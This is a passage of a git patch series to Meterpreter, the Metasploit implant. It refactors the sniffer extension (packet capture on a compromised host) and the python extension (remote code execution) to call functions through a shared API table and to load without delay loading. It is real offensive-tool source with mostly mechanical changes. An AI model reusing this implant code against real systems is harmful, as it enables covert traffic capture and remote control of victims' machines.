met_api->packet.create_response(packet); unsigned int ifid; CaptureJob *j; DWORD result; @@ -384,7 +382,7 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> stop_capture()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> stop_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; @@ -407,28 +405,28 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) break; } - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); j->active = 0; AdpSetMacFilter(j->adp, 0); AdpCloseAdapter(j->adp); AdpDestroy(j->adp); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); - lock_release(snifferm); + met_api->lock.release(snifferm); dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid, i; CaptureJob *j; DWORD result; @@ -437,7 +435,7 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> release_capture()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> release_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; @@ -461,10 +459,10 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) break; } - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); for (i = 0; i < j->max_pkts; i++) @@ -478,18 +476,18 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) free(j->pkts); memset(j, 0, sizeof(CaptureJob)); - lock_release(snifferm); + met_api->lock.release(snifferm); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid; CaptureJob *j; DWORD result; @@ -497,7 +495,7 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> capture_stats()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> capture_stats(0x%.8x)", ifid); result = ERROR_SUCCESS; @@ -520,19 +518,19 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) break; } - lock_acquire(snifferm); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); - lock_release(snifferm); + met_api->lock.acquire(snifferm); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); + met_api->lock.release(snifferm); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid, i; unsigned int bcnt; CaptureJob *j; @@ -541,8 +539,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> capture_dump_read()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); - bcnt = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + bcnt = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT); bcnt = min(bcnt, 32 * 1024 * 1024); dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt); @@ -554,7 +552,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) // the interface is invalid if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); goto fail; } @@ -562,7 +560,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) if (!j->dbuf) { - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); goto fail; } @@ -571,8 +569,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) bcnt = j->dlen - j->didx; } - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt); - packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt); + met_api->packet.add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt); j->didx += bcnt; } while (0); @@ -587,7 +585,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) if (j->active == 0) { dprintf("sniffer>> capture_dump_read, release CaptureJob"); - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); for (i = 0; i < j->max_pkts; i++) { if (!j->pkts[i]) break; @@ -597,19 +595,19 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) free(j->pkts); memset(j, 0, sizeof(CaptureJob)); - lock_release(snifferm); + met_api->lock.release(snifferm); } } fail: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid; unsigned int rbuf, mbuf; unsigned int *tmp; @@ -624,12 +622,12 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> capture_dump()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> capture_dump(0x%.8x)", ifid); result = ERROR_SUCCESS; - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); do { @@ -719,10 +717,10 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) j->dlen = rcnt; - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt); // add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype); dprintf("sniffer>> finished processing packets"); @@ -731,24 +729,23 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) j->idx_pkts = 0; } while (0); - lock_release(snifferm); - packet_transmit_response(result, remote, response); + met_api->lock.release(snifferm); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - // This handle has to be set before calls to command_register - // otherwise we get obscure crashes! - hMetSrv = remote->met_srv; + met_api = api; dprintf("[SERVER] Registering command handlers..."); - command_register_all( customCommands ); + met_api->command.register_all(customCommands); dprintf("[SERVER] Memory reset of open_captures..."); memset(open_captures, 0, sizeof(open_captures)); @@ -781,7 +778,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) } dprintf("[SERVER] Creating a lock..."); - snifferm = lock_create(); + snifferm = met_api->lock.create(); return hErr; } @@ -793,9 +790,10 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_register_all( customCommands ); + met_api->command.deregister_all(customCommands); + MgrDestroy(hMgr); - lock_destroy(snifferm); + met_api->lock.destroy(snifferm); return ERROR_SUCCESS; } diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj index 7a488540..817507b4 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj +++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj @@ -66,7 +66,7 @@ MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SNIFFER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -90,7 +90,7 @@ 0x0409 - backcompat.lib;pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;commonapi.lib;%(AdditionalDependencies) + backcompat.lib;pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs;%(AdditionalLibraryDirectories) true @@ -128,7 +128,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;..\..\source\common;%(AdditionalIncludeDirectories) _WIN64;WIN64;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SNIFFER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -151,7 +151,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;commonapi.lib;%(AdditionalDependencies) + pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;%(AdditionalDependencies) true ..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs64;%(AdditionalLibraryDirectories) @@ -213,4 +213,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + \ No newline at end of file From 05d5a16fe5b1490853432f77f0f48ef47b57753a Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 19:17:47 +1000 Subject: [PATCH 09/21] Get the python extension working without delay loading --- c/meterpreter/source/common/common_metapi.h | 18 +++++++++ .../extensions/python/python_commands.c | 39 ++++++++++--------- .../source/extensions/python/python_main.c | 24 ++++++------ .../python/python_meterpreter_binding.c | 11 +++--- c/meterpreter/source/metsrv/list.c | 2 +- c/meterpreter/source/metsrv/list.h | 2 +- c/meterpreter/source/metsrv/metapi.c | 16 ++++++++ .../ext_server_python.vcxproj | 8 ++-- 8 files changed, 78 insertions(+), 42 deletions(-) diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h index f4ab09df..59eadae0 100644 --- a/c/meterpreter/source/common/common_metapi.h +++ b/c/meterpreter/source/common/common_metapi.h @@ -132,6 +132,7 @@ typedef struct _CommandApi { void(*deregister_all)(Command commands[]); void(*register_all)(Command commands[]); + BOOL(*handle)(Remote* remote, Packet* packet); } CommandApi; typedef struct _StringApi @@ -140,6 +141,22 @@ typedef struct _StringApi char*(*wchar_to_utf8)(const wchar_t* in); } StringApi; +typedef struct _ListApi +{ + BOOL(*add)(PLIST pList, LPVOID data); + BOOL(*clear)(PLIST pList, PCLEARFUNC pFunc); + BOOL(*enumerate)(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); + BOOL(*push)(PLIST pList, LPVOID data); + BOOL(*remove)(PLIST pList, LPVOID data); + BOOL(*remove_at)(PLIST pList, DWORD index); + DWORD(*count)(PLIST pList); + LIST*(*create)(VOID); + LPVOID(*get)(PLIST pList, DWORD index); + LPVOID(*pop)(PLIST pList); + LPVOID(*shift)(PLIST pList); + VOID(*destroy)(PLIST pList); +} ListApi; + typedef struct _MetApi { PacketApi packet; @@ -152,6 +169,7 @@ typedef struct _MetApi StringApi string; InjectApi inject; DesktopApi desktop; + ListApi list; } MetApi; extern MetApi* met_api; diff --git a/c/meterpreter/source/extensions/python/python_commands.c b/c/meterpreter/source/extensions/python/python_commands.c index ef0f961c..95062fce 100755 --- a/c/meterpreter/source/extensions/python/python_commands.c +++ b/c/meterpreter/source/extensions/python/python_commands.c @@ -8,6 +8,7 @@ #include "python_commands.h" #include "python_meterpreter_binding.h" #include "Resource Files/python_core.rh" +#include "common_metapi.h" ///! @brief Struct that contains pointer to init function and name. typedef struct _InitFunc @@ -155,7 +156,7 @@ static PyObject* handle_write(LIST* target, PyObject* self, PyObject* args) dprintf("[PYTHON] something written to %p: %s", target, written); if (target != NULL) { - list_add(target, strdup(written)); + met_api->list.add(target, strdup(written)); } } else @@ -198,23 +199,23 @@ static PyMethodDef meterpreter_stderr_hooks[] = static VOID dump_to_packet(LIST* source, Packet* packet, UINT tlvType) { - lock_acquire(source->lock); + met_api->lock.acquire(source->lock); PNODE current = source->start; while (current != NULL) { - packet_add_tlv_string(packet, tlvType, (LPCSTR)current->data); + met_api->packet.add_tlv_string(packet, tlvType, (LPCSTR)current->data); current = current->next; } - lock_release(source->lock); + met_api->lock.release(source->lock); } VOID clear_std_handler(LIST* source) { dprintf("[PYTHON] clearing list %p", source); - list_clear(source, free); + met_api->list.clear(source, free); dprintf("[PYTHON] cleared list %p", source); } @@ -223,11 +224,11 @@ VOID initialize_std_handlers() dprintf("[PYTHON] initializing handlers"); if (stderrBuffer == NULL) { - stderrBuffer = list_create(); + stderrBuffer = met_api->list.create(); } if (stdoutBuffer == NULL) { - stdoutBuffer = list_create(); + stdoutBuffer = met_api->list.create(); } dprintf("[PYTHON] initialized handlers"); } @@ -236,10 +237,10 @@ VOID destroy_std_handlers() { dprintf("[PYTHON] destroying handlers"); clear_std_handler(stderrBuffer); - list_destroy(stderrBuffer); + met_api->list.destroy(stderrBuffer); stderrBuffer = NULL; clear_std_handler(stdoutBuffer); - list_destroy(stdoutBuffer); + met_api->list.destroy(stdoutBuffer); stdoutBuffer = NULL; dprintf("[PYTHON] destroyed handlers"); } @@ -405,7 +406,7 @@ DWORD request_python_reset(Remote* remote, Packet* packet) Py_Finalize(); Py_Initialize(); python_prepare_session(); - packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); + met_api->packet.transmit_empty_response(remote, packet, ERROR_SUCCESS); return ERROR_SUCCESS; } @@ -460,12 +461,12 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod if (PyString_Check(result)) { // result is already a string - packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result)); + met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result)); } else { PyObject* resultStr = PyObject_Str(result); - packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr)); + met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr)); Py_DECREF(resultStr); } } @@ -482,18 +483,18 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod DWORD request_python_execute(Remote* remote, Packet* packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); - LPBYTE pythonCode = packet_get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE); + Packet* response = met_api->packet.create_response(packet); + LPBYTE pythonCode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE); PyObject* mainModule = PyImport_AddModule("__main__"); PyObject* mainDict = PyModule_GetDict(mainModule); if (pythonCode != NULL) { - UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE); - CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME); - UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN); - CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR); + UINT codeType = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE); + CHAR* modName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME); + UINT pythonCodeLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN); + CHAR* resultVar = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR); python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response); dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR); @@ -501,7 +502,7 @@ DWORD request_python_execute(Remote* remote, Packet* packet) dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT); clear_std_handler(stdoutBuffer); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; diff --git a/c/meterpreter/source/extensions/python/python_main.c b/c/meterpreter/source/extensions/python/python_main.c index 9b946ffc..02f66782 100755 --- a/c/meterpreter/source/extensions/python/python_main.c +++ b/c/meterpreter/source/extensions/python/python_main.c @@ -2,12 +2,12 @@ * @file python_main.c * @brief Entry point and intialisation definitions for the python extension. */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" @@ -20,9 +20,6 @@ extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpv Remote* gRemote = NULL; -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - /*! @brief List of commands that the extended API extension providers. */ Command customCommands[] = { @@ -67,12 +64,15 @@ VOID __declspec(dllexport) CommandAdded(const char* commandName) /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; + + met_api->command.register_all(customCommands); gRemote = remote; dprintf("[PYTHON] Initialising"); @@ -80,7 +80,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) python_prepare_session(); dprintf("[PYTHON] Registering commands"); - command_register_all(customCommands); + met_api->command.register_all(customCommands); return ERROR_SUCCESS; } @@ -92,7 +92,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); python_destroy_session(); diff --git a/c/meterpreter/source/extensions/python/python_meterpreter_binding.c b/c/meterpreter/source/extensions/python/python_meterpreter_binding.c index c610a444..1a4ab7f5 100755 --- a/c/meterpreter/source/extensions/python/python_meterpreter_binding.c +++ b/c/meterpreter/source/extensions/python/python_meterpreter_binding.c @@ -2,7 +2,8 @@ * @file python_meterpreter_binding.c * @brief Definitions for functions that support meterpreter bindings. */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "python_main.h" #include "Python.h" @@ -31,7 +32,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args) // and so that the packet doesn't get sent to Meterpreter packet.local = isLocal; - command_handle(gRemote, &packet); + met_api->command.handle(gRemote, &packet); // really not sure how to deal with the non-local responses at this point. if (packet.partner == NULL) @@ -41,7 +42,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args) } PyObject* result = PyString_FromStringAndSize(packet.partner->payload, packet.partner->payloadLength); - packet_destroy(packet.partner); + met_api->packet.destroy(packet.partner); return result; } @@ -62,7 +63,7 @@ VOID binding_startup() { if (gBoundCommandList == NULL) { - gBoundCommandList = list_create(); + gBoundCommandList = met_api->list.create(); } } @@ -73,7 +74,7 @@ VOID binding_add_command(const char* commandName) // only add non-core commands if (_strnicmp("core_", commandName, 5) != 0) { - list_add(gBoundCommandList, (char*)commandName); + met_api->list.add(gBoundCommandList, (char*)commandName); binding_insert_command(commandName); } } diff --git a/c/meterpreter/source/metsrv/list.c b/c/meterpreter/source/metsrv/list.c index c9a2a19f..97a234ac 100644 --- a/c/meterpreter/source/metsrv/list.c +++ b/c/meterpreter/source/metsrv/list.c @@ -250,7 +250,7 @@ BOOL list_remove(PLIST pList, LPVOID data) * @param index Index of the item to remove. * @returns Indication of success or failure. */ -BOOL list_delete(PLIST pList, DWORD index) +BOOL list_remove_at(PLIST pList, DWORD index) { BOOL result = FALSE; LPVOID data = NULL; diff --git a/c/meterpreter/source/metsrv/list.h b/c/meterpreter/source/metsrv/list.h index 0c27fa41..a5a0f57d 100644 --- a/c/meterpreter/source/metsrv/list.h +++ b/c/meterpreter/source/metsrv/list.h @@ -14,7 +14,7 @@ LPVOID list_get(PLIST pList, DWORD index); BOOL list_clear(PLIST pList, PCLEARFUNC pFunc); BOOL list_add(PLIST pList, LPVOID data); BOOL list_remove(PLIST pList, LPVOID data); -BOOL list_delete(PLIST pList, DWORD index); +BOOL list_remove_at(PLIST pList, DWORD index); BOOL list_push(PLIST pList, LPVOID data); LPVOID list_pop(PLIST pList); LPVOID list_shift(PLIST pList); diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c index b8f5a0fb..21cd36bc 100644 --- a/c/meterpreter/source/metsrv/metapi.c +++ b/c/meterpreter/source/metsrv/metapi.c @@ -46,6 +46,7 @@ MetApi api_instance = { { command_deregister_all, command_register_all, + command_handle, }, // ThreadApi { @@ -129,6 +130,21 @@ MetApi api_instance = { { core_update_desktop, }, + // ListApi + { + list_add, + list_clear, + list_enumerate, + list_push, + list_remove, + list_remove_at, + list_count, + list_create, + list_get, + list_pop, + list_shift, + list_destroy, + }, }; MetApi* met_api = &api_instance; diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj index 96e5e937..d9b13967 100755 --- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj +++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded @@ -137,7 +137,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded @@ -193,7 +193,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded @@ -246,7 +246,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded From 86a4763164970ad37c11c73f8c5bfdac301ce593 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 19:45:34 +1000 Subject: [PATCH 10/21] Update powershell extension to avoid delay loading --- .../source/extensions/powershell/powershell.c | 23 +++--- .../powershell/powershell_bindings.cpp | 7 +- .../powershell/powershell_bridge.cpp | 73 ++++++++++--------- .../ext_server_powershell.vcxproj | 8 +- 4 files 